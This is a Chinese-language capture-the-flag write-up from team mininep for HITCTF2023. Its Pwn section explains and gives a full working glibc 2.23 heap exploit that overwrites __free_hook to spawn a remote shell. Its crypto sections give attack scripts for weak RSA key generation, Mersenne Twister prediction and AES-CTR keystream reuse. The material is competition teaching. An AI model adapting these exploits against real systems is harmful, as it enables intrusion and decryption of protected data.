重铸mininep荣光,我辈义不容辞

战队信息

战队名称:mininep

本次比赛附件,WEB和Reverse就不放了,主要是 Pwn,MISC和Cry。

因为超过了 Github 的上传限制,因此单独放 MISC 的音频题附件

Pwn

scanf

会先读入一个序列,然后根据序列去调用功能。

  • [ :分配大小为 0x20 的堆块,并读入一个 int 数据。
  • ] :输出堆块的 int 数据并 free 掉堆块并且马上将指针置零。
  • ( :读入一个字节并保存。
  • ) :输出保存的字节。
  • { :分配大小为 0x30 的堆块,并读入一个 long 数据。
  • } :输出堆块的 long 数据并 free 掉堆块并且马上将指针置零。
  • * :输入一个地址把该地址的字节强制置为 0。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
void process()
{
int v0; // eax
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 255 && op[i]; ++i )
{
v0 = op[i];
if ( v0 == '}' )
{
if ( ptr2 )
{
printf("%ld\n", *(_QWORD *)ptr2);
free(ptr2);
ptr2 = 0LL;
}
}
else
{
if ( v0 > '}' )
goto LABEL_26;
if ( v0 == '}' )
{
ptr2 = malloc(0x20uLL);
__isoc99_scanf("%ld", ptr2);
}
else
{
if ( v0 > '{' )
goto LABEL_26;
if ( v0 == ']' )
{
if ( ptr )
{
printf("%d\n", *(unsigned int *)ptr);
free(ptr);
ptr = 0LL;
}
}
else
{
if ( v0 > ']' )
goto LABEL_26;
if ( v0 == '[' )
{
ptr = malloc(16uLL);
__isoc99_scanf("%d", ptr);
}
else
{
if ( v0 > '[' )
goto LABEL_26;
if ( v0 == '*' )
{
if ( !ptr3 )
{
read(0, &ptr3, 8uLL);
*(_BYTE *)ptr3 = 0;
}
}
else
{
if ( v0 > 42 )
goto LABEL_26;
if ( v0 == '(' )
{
byte = getchar();
}
else
{
if ( v0 != ')' )
LABEL_26:
sub_12CD("invalid op");
putchar(byte);
}
}
}
}
}
}
}
}

Glibc 2.23 的版本,正常看根本分配不出来什么指针的信息,可以选择先构造一个 fastbin,然后给 scanf 一个很大的输入,触发 scanf 内部调用 malloc 一起触发 malloc_consolidatemalloc_consolidate 除了会初始化主分配区外,如果已经初始化,那么会扫一遍 fastbin,将所有 fastbin 合并,并根据大小自动变成 smallbin 或者 largebin,所以这样再次申请就能够申请到带有 libc 地址的堆块。

这里需要使用一种特殊的方式绕过,我们知道,在 scanf("%d") 的时候,我们所读入的字符串会被转为数字形式,内部可能会调用一个 atoi 函数。但是如果我们不输入数字,则会导致这一次 scanf 读入失败,也就跳过了这次输入,这也正是我们想要的结果。但是这个字符不会丢失,会存在缓冲区里面,等待着下一次输入,但是会导致 scanf 失效(具体原因需要分析 scanf 函数具体实现了)。我们可以通过调用一个 getchar 来收走这一个字符。

泄露出libc地址之后,会有一个新的利用思路,这个是之前没有做到过的。现在只能泄露出 libc 的地址,所以我们存在任意地址的 0 字节覆盖也只能对 libc 操作,如果这是在 2.27版本,那么可以这么利用:申请最低地址为 00 的堆块,释放它附近的堆块,零字节写入 fastbinY 数组,造成堆重叠,然后再次释放产生 double free,之后就是任意地址写了,2.27的tcache没有size检测,但是这是2.23版本,所以打不了。

可以把零字节覆盖到 stdin->_IO_buf_basescanf 在读入的时候,会首先读入到 stdin 结构的缓冲区,也就是这个指针指示的位置,可以看看覆盖完成之后可以构造怎样的一个 stdin 的结构。

_IO_buf_base 指向了 _IO_write_base 指针的位置,等会再次执行 scanf 的时候,就能构造一个任意的 stdin 的结构了,这里我们可以选择把 _IO_buf_base 修改成 __free_hook_IO_buf_end 修改为 __free_hook+8

这样的话下一次的 scanf 就会把数据读入到 __free_hook 当中,之后写 one_gadget 到其中,第二个即可。

之后就是随便触发一个 free 就可以 getshell 了。

下面是完整的 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
#context(arch='amd64', os='linux', log_level='debug')
debug=1
p=remote('47.97.96.29',52551)
#p=process('./pwn')
libc=ELF('/home/xia0ji233/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
payload=b'{}[]{}(()*{'+b'{'+b'('*0x28+b'{'+b'('*8+b'}}'

p.sendline(payload)
sleep(0.1)
p.sendline('1234')
p.recvuntil('1234')
p.sendline('1'*0x400)
p.recvuntil('-1')
p.sendline(';')

res=p.recvline()
res=p.recvline()

libc_addr=int(res)-0x3c4b98
success('libc_addr: '+hex(libc_addr))
stdout=libc_addr+0x3c48e0

success('stdout: '+hex(stdout))

p.send(p64(stdout+0x38))
sleep(1)
p.send(4*p64(libc.sym['__free_hook']+libc_addr)+p64(libc.sym['__free_hook']+libc_addr+8))

gdb.attach(p)
p.sendline(p64(libc_addr+0x4527a))#+libc.sym['system']))
p.interactive()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == N
'''

Crypto

baby_pq

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
import gmpy2
from secret import flag

p = getPrime(1024)
q = gmpy2.next_prime(p ^ ((1<<512) - 1))
n = p * q

m = bytes_to_long(flag)
c = pow(m, 0x10001, n)

print(f'n = {n}')
print(f'c = {c}')

# n = 8453885765996913712618062109378707336659130808787301279941263026230651123070106797459062171000365889994637175402858207703151564500044390548869930188515842218557849229740014562965962263746070780549831396891941705994713622110082033242683660650189932659146881550116146449462428053806160356286227504339325337551581898256519567742962705944357524118970267940699968649549638664106325348777220329180207763585954844657368022890561945863245866119393292338388874234105489358762483907848160656454959089695615978146121577179680980714139225315343600794084432162921599675629785310474796715614965665548579610931418351539799337817619
# c = 4726796252980174161046218845942217649424568401323709384597987506914998319313028475356589060134652759506342796030407465347005448331069693045017091974740952306073381267159127993316990722810446654483498674864178248933608184916573435206509642940143728451269969858398426505931978537235555412868665335820446174504598837828390480570204676276734825131481678802430374111871526775180382682425326162372961045184794546853714707142847989253670252568609776762123439804531096509110613753591697237646272201574711041532981320571426156783791774414173297059578746114766276851312499691484037841701642575636452384758406187350074232695865

可见,生成 p,q 的时候,有 gmpy2.next_prime(p ^ ((1<<512) - 1)),因此可以使用费马分解的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
from gmpy2 import *

def fermat_attack(n):
a = isqrt(n)
b2 = a*a - n
b = isqrt(n)
count = 0
while b*b != b2:
a = a + 1
b2 = a*a - n
b = isqrt(b2)
count += 1
p = a+b
q = a-b
assert n == p * q
return p, q

n = 8453885765996913712618062109378707336659130808787301279941263026230651123070106797459062171000365889994637175402858207703151564500044390548869930188515842218557849229740014562965962263746070780549831396891941705994713622110082033242683660650189932659146881550116146449462428053806160356286227504339325337551581898256519567742962705944357524118970267940699968649549638664106325348777220329180207763585954844657368022890561945863245866119393292338388874234105489358762483907848160656454959089695615978146121577179680980714139225315343600794084432162921599675629785310474796715614965665548579610931418351539799337817619
c = 4726796252980174161046218845942217649424568401323709384597987506914998319313028475356589060134652759506342796030407465347005448331069693045017091974740952306073381267159127993316990722810446654483498674864178248933608184916573435206509642940143728451269969858398426505931978537235555412868665335820446174504598837828390480570204676276734825131481678802430374111871526775180382682425326162372961045184794546853714707142847989253670252568609776762123439804531096509110613753591697237646272201574711041532981320571426156783791774414173297059578746114766276851312499691484037841701642575636452384758406187350074232695865
e = 65537

p, q = fermat_attack(n)
phi = (p-1)*(q-1)
d = invert(e, phi)

m = pow(c, d, n)
print(long_to_bytes(m))

结果:

random

题目:

1
2
3
4
5
6
import random

with open('output.bin', 'wb') as f:
f.write(random.randbytes(2500))

print('HITCTF2023{%s}' % random.randbytes(16).hex())

随机数预测,直接搜索网上跟随机数预测相关的知识点,利用 output.bin 中的随机字节去预测,即可得到答案。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import random
import sys

# compatibility
if sys.version_info[0] == 2:
def _to_bytes(n, length, byteorder):
assert byteorder == 'little'
return ('%x' % n).zfill(length * 2).decode('hex')[:: -1]


def _from_bytes(s, byteorder):
assert byteorder == 'little'
return int(str(s[:: -1]).encode('hex'), 16)
else:
_to_bytes = lambda n, *args, **kwargs: n.to_bytes(*args, **kwargs)
_from_bytes = lambda *args, **kwargs: int.from_bytes(*args, **kwargs)

N = 624 #: 624 values (of 32bit) is just enough to reconstruct the internal state
M = 397 #:
MATRIX_A = 0x9908b0df #:
UPPER_MASK = 0x80000000 #:
LOWER_MASK = 0x7fffffff #:


def tempering(y):
y ^= (y >> 11)
y ^= (y << 7) & 0x9d2c5680
y ^= (y << 15) & 0xefc60000
y ^= (y >> 18)
return y


def untempering(y):
y ^= (y >> 18)
y ^= (y << 15) & 0xefc60000
y ^= ((y << 7) & 0x9d2c5680) ^ ((y << 14) & 0x94284000) ^ ((y << 21) & 0x14200000) ^ ((y << 28) & 0x10000000)
y ^= (y >> 11) ^ (y >> 22)
return y


def generate(mt, kk):
mag01 = [0x0, MATRIX_A]
y = (mt[kk] & UPPER_MASK) | (mt[(kk + 1) % N] & LOWER_MASK)
mt[kk] = mt[(kk + M) % N] ^ (y >> 1) ^ mag01[y & 0x1]


def genrand_int32(mt, mti):
generate(mt, mti)
y = mt[mti]
mti = (mti + 1) % N
return tempering(y), mti


class MT19937Predictor(random.Random):
'''
Usage:

.. doctest::

>>> import random
>>> from mt19937predictor import MT19937Predictor
>>> predictor = MT19937Predictor()
>>> for _ in range(624):
... x = random.getrandbits(32)
... predictor.setrandbits(x, 32)
>>> random.getrandbits(32) == predictor.getrandbits(32)
True
>>> random.random() == predictor.random()
True
>>> a = list(range(100))
>>> b = list(range(100))
>>> random.shuffle(a)
>>> predictor.shuffle(b)
>>> a == b
True
'''

def __init__(self):
self._mt = [0] * N
self._mti = 0

def setrand_int32(self, y):
'''Feceive the target PRNG's outputs and reconstruct the inner state.
when 624 consecutive DOWRDs is given, the inner state is uniquely determined.
'''
assert 0 <= y < 2 ** 32
self._mt[self._mti] = untempering(y)
self._mti = (self._mti + 1) % N

def genrand_int32(self):
y, self._mti = genrand_int32(self._mt, self._mti)
return y

def setrandbits(self, y, bits):
'''The interface for :py:meth:`random.Random.getrandbits` in Python's Standard Library
'''
if not (bits % 32 == 0):
raise ValueError('number of bits must be a multiple of 32')
if not (0 <= y < 2 ** bits):
raise ValueError('invalid state')
if bits == 32:
self.setrand_int32(y)
else:
while bits > 0:
self.setrand_int32(y & 0xffffffff)
y >>= 32
bits -= 32

def getrandbits(self, bits):
'''The interface for :py:meth:`random.Random.getrandbits` in Python's Standard Library
'''
if not (bits > 0):
raise ValueError('number of bits must be greater than zero')
if bits <= 32:
return self.genrand_int32() >> (32 - bits)
else:
acc = bytearray()
while bits > 0:
r = self.genrand_int32()
if bits < 32:
r >>= 32 - bits
acc += _to_bytes(r, 4, byteorder='little')
bits -= 32
return _from_bytes(acc, byteorder='little')

def random(self):
'''The interface for :py:meth:`random.Random.random` in Python's Standard Library
'''
a = self.genrand_int32() >> 5
b = self.genrand_int32() >> 6
return ((a * 67108864.0 + b) * (1.0 / 9007199254740992.0))

def seed(self, *args):
'''
Raises:
:py:exc:`NotImplementedError`
'''
raise NotImplementedError

def setstate(self, *args):
'''
Raises:
:py:exc:`NotImplementedError`
'''
raise NotImplementedError

def getstate(self, *args):
'''
Raises:
:py:exc:`NotImplementedError`
'''
raise NotImplementedError

def gauss(self, *args):
'''
Raises:
:py:exc:`NotImplementedError`
'''
raise NotImplementedError


predictor = MT19937Predictor()

file = open("output.bin", "rb")
data = file.read()
file.close()

for i in range(0, len(data), 4):
predictor.setrandbits(int.from_bytes(data[i:i+4], byteorder='little'), 32)

flag = predictor.getrandbits(128)
flag = flag.to_bytes(16, byteorder='little')

print('HITCTF2023{%s}' % flag.hex())

wiki

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests as rq
from bs4 import BeautifulSoup
from Crypto.Cipher import AES
from secret import key, nonce, flag

def encrypt(m):
return AES.new(key, mode=AES.MODE_CTR, nonce=nonce).encrypt(m.encode())

def get_wiki():
r = rq.get('https://en.wikipedia.org/wiki/Special:Random')
soup = BeautifulSoup(r.text, 'html.parser')
text = ''.join(x.getText() for x in soup.select('#mw-content-text p'))
return text

for x in range(100):
with open(f'wiki/{x}.bin', 'wb') as f:
f.write(encrypt(get_wiki()))

print(encrypt(flag))
# b'\x92\xc2\xbe\xf0ia\xb8\xe6$\xf3\x85\x9e\xc9\x1bq\xfe\xdc\xc0\xfb@AB/\x15\xee\x15\xf5\x0b\t\xf3_\x8b\xe5Vi\n\xad'

是一个 AES 中没见过的模式,除了给了我们加密的 flag 之外还有加密 100 段的 wiki 的 content,但是这个 content 也是随机的。关于 CTR 模式网上有很多相关利用方法,在已知明文的情况下可以与密文相异或然后再去异或其它加密的密文可以得到明文,根据 flag 开头一定是 HITCTF2023{ 这个信息,我们可以得到这 100 个 wiki 信息的前 11 个字节。

最后我选择了跟题目一样的方法去爆破,每次也去请求 WIKI 信息,然后匹配 100 个 wiki 的前 11 个字节,匹配到了就直接使用 flag密文 ^ WIKI原文 ^ WIKI 密文 去尝试解密 flag,EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests as rq
from bs4 import BeautifulSoup
from Crypto.Cipher import AES
from pwn import *
import warnings

warnings.filterwarnings('ignore')

starttext=[]
enc=b'\x92\xc2\xbe\xf0ia\xb8\xe6$\xf3\x85\x9e\xc9\x1bq\xfe\xdc\xc0\xfb@AB/\x15\xee\x15\xf5\x0b\t\xf3_\x8b\xe5Vi\n\xad'
f=b'HITCTF2023{'
for x in range(100):
wiki=open(f'./wiki/{x}.bin','rb').read()[:len(f)]
key=b''
for i in range(len(f)):
key+=p8(enc[i]^f[i]^wiki[i])
starttext.append(key.decode())
print(starttext)
for _ in range(10000):
while True:
try:
r = rq.get('https://en.wikipedia.org/wiki/Special:Random',verify=False,proxies={'https':'https://127.0.0.1:7890'})
break
except rq.exceptions.ProxyError:
continue
soup = BeautifulSoup(r.text, 'html.parser')
text = ''.join(x.getText() for x in soup.select('#mw-content-text p'))
# print(text[:30])
flag=False
for x in range(100):
if starttext[x]==text[:len(f)]:
# print(x,text)
enc=b'\x92\xc2\xbe\xf0ia\xb8\xe6$\xf3\x85\x9e\xc9\x1bq\xfe\xdc\xc0\xfb@AB/\x15\xee\x15\xf5\x0b\t\xf3_\x8b\xe5Vi\n\xad'
wiki=open(f'./wiki/{x}.bin','rb').read()
key=b''
for i in range(len(enc)):
key+=p8(enc[i]^text.encode()[i]^wiki[i])
print(key)
flag=True
# quit()
if not flag:
pass
# print('fail')

这个成功率也没有低得很离谱,毕竟给了 100 个原文,所以很轻松跑到了 flag

wrong_phi

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
from secret import flag

p = getPrime(1024)
q = getPrime(1024)
n = p * q

phi_p = p - 63
phi_q = q - 63
phi_n = phi_p * phi_q

d = getPrime(400)
e = inverse(d, phi_n)

m = bytes_to_long(flag)
c = pow(m, e, n)

print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')

# n = 17902353567622320185777049331592309927239379192917117124516253608017557550627376763554958867462642282718543076324834231080699086623868710566553973952161749036816316657408459820693134434685569943197364189133739682856780965058668333517601571118616370506564023806471382114482858088357033228430391110623954763871538990093806938234597382942012180059752099567844832912659963475196683651028851849981302053674312805891392388680444798065987917999016172592304263204248351584891058415818980019666086607175018795314608058824544702338113785073002606314177156566848980858910264144070733544539393470508272882039794755616359771719627
# e = 1034634982085939971822877252130515398229137701838084160804904278572779087263905524982867039382456627125720139442953049736278013459888513875454873912330970537830167429166547199300006618374698744011162743883768671546268984017745518427535961172408779556805945092711610212366863443025792023943002203100033357943550282607567215748076225755327456577797855829220040938158155034393838096697294851045502459515772190581191229891599270946348904293098125604418374903031570427182844970175294846199499086061932599929584168332019942366307492063085292032814310184327147039893062100775021251207692053416274742557240198045244353223877
# c = 14723945115918742456302931509235728534342691729551439971707959468746129976005121366466446595331259969536700193723388531609707306206111950891345249124123562757153406090874765289421941892028561640046821593863529710424324442809340720142304670377208025287443825716451893752244746535555688176067485135385849773481551193758429961182249805259097126618316927644797327132081971724413313476253673746378090768833873175854784850174609314401513707777282509452100625937487822417524568570482342892125363854710176244691334681860188285245854701213388715116327223347862337585079816713103737507482603397381805059087115251736140321565166

先用 sage 去跑 p 和 q 的分解结果,分解完成之后 RSA 直接解掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import gmpy2

n = 17902353567622320185777049331592309927239379192917117124516253608017557550627376763554958867462642282718543076324834231080699086623868710566553973952161749036816316657408459820693134434685569943197364189133739682856780965058668333517601571118616370506564023806471382114482858088357033228430391110623954763871538990093806938234597382942012180059752099567844832912659963475196683651028851849981302053674312805891392388680444798065987917999016172592304263204248351584891058415818980019666086607175018795314608058824544702338113785073002606314177156566848980858910264144070733544539393470508272882039794755616359771719627
e = 1034634982085939971822877252130515398229137701838084160804904278572779087263905524982867039382456627125720139442953049736278013459888513875454873912330970537830167429166547199300006618374698744011162743883768671546268984017745518427535961172408779556805945092711610212366863443025792023943002203100033357943550282607567215748076225755327456577797855829220040938158155034393838096697294851045502459515772190581191229891599270946348904293098125604418374903031570427182844970175294846199499086061932599929584168332019942366307492063085292032814310184327147039893062100775021251207692053416274742557240198045244353223877
c = 14723945115918742456302931509235728534342691729551439971707959468746129976005121366466446595331259969536700193723388531609707306206111950891345249124123562757153406090874765289421941892028561640046821593863529710424324442809340720142304670377208025287443825716451893752244746535555688176067485135385849773481551193758429961182249805259097126618316927644797327132081971724413313476253673746378090768833873175854784850174609314401513707777282509452100625937487822417524568570482342892125363854710176244691334681860188285245854701213388715116327223347862337585079816713103737507482603397381805059087115251736140321565166



pq = []
c = continued_fraction(Integer(e) / Integer(n))
for i in range(500):
d = c.denominator(i)
k = c.numerator(i)
if k != 0:
p_q = ((n+63**2)-(e*d-1)//k) // 63 # p+q
if 2**399 < d < 2**400 and p_q > 0:
print('p_q=',p_q)
break

var("p q")
solve([p+q==p_q,p*q==n],p,q)

RSA 解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# pycharm
from Crypto.Util.number import *
import gmpy2

n = 17902353567622320185777049331592309927239379192917117124516253608017557550627376763554958867462642282718543076324834231080699086623868710566553973952161749036816316657408459820693134434685569943197364189133739682856780965058668333517601571118616370506564023806471382114482858088357033228430391110623954763871538990093806938234597382942012180059752099567844832912659963475196683651028851849981302053674312805891392388680444798065987917999016172592304263204248351584891058415818980019666086607175018795314608058824544702338113785073002606314177156566848980858910264144070733544539393470508272882039794755616359771719627
e = 1034634982085939971822877252130515398229137701838084160804904278572779087263905524982867039382456627125720139442953049736278013459888513875454873912330970537830167429166547199300006618374698744011162743883768671546268984017745518427535961172408779556805945092711610212366863443025792023943002203100033357943550282607567215748076225755327456577797855829220040938158155034393838096697294851045502459515772190581191229891599270946348904293098125604418374903031570427182844970175294846199499086061932599929584168332019942366307492063085292032814310184327147039893062100775021251207692053416274742557240198045244353223877
c = 14723945115918742456302931509235728534342691729551439971707959468746129976005121366466446595331259969536700193723388531609707306206111950891345249124123562757153406090874765289421941892028561640046821593863529710424324442809340720142304670377208025287443825716451893752244746535555688176067485135385849773481551193758429961182249805259097126618316927644797327132081971724413313476253673746378090768833873175854784850174609314401513707777282509452100625937487822417524568570482342892125363854710176244691334681860188285245854701213388715116327223347862337585079816713103737507482603397381805059087115251736140321565166

p = 133692662205255845070134110211670069667562916611371168507338192638194811505238452911914167515227517561862383086864760853808343895528706459499417435431475609839307792155077671384159375749461187350011029990926277137666886607094014846229250724641865027117205014766152841534334624932589472229751110506457363204899
q = 133906777472477669829367660266874760999031712017146297400180540508325757132358918905621761484071456765643249548179748826272000598844722639479610013946944328244706853438688760358571667788680154767060315954219244186381237004913488011028446790450515241197741963630738164793387760358398092746357413686882688438073
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

结果:

MISC

leftover file

一个 modbus 的协议分析,可以发现总共是写了三轮数据,提取数据之后进行一定的移位即可得到 flag。

1
2
3
4
c =[71, 71, 81, 63, 79, 64, 43, 40, 41, 41, 112, 65, 35, 86, 83, 101, 98, 77, 96, 91, 74, 93, 88, 71, 90, 85, 68, 73, 68, 85, 90, 93]
offset = ord('H') - c[0]
for i in range(0,len(c)):
print(chr(c[i]+i+offset),end='')

Reverse

driver file

winpool.sys 反编译后可以找到一个字符串

SElUQ1RGMjAyM3tIYXJkX3RvX2ZpbmR9Cg== base64解密之后即为结果。

C&C server address

window.exe 直接分析,可以获得服务器ip 10.1.5.70。

Web

我他妈直接掀桌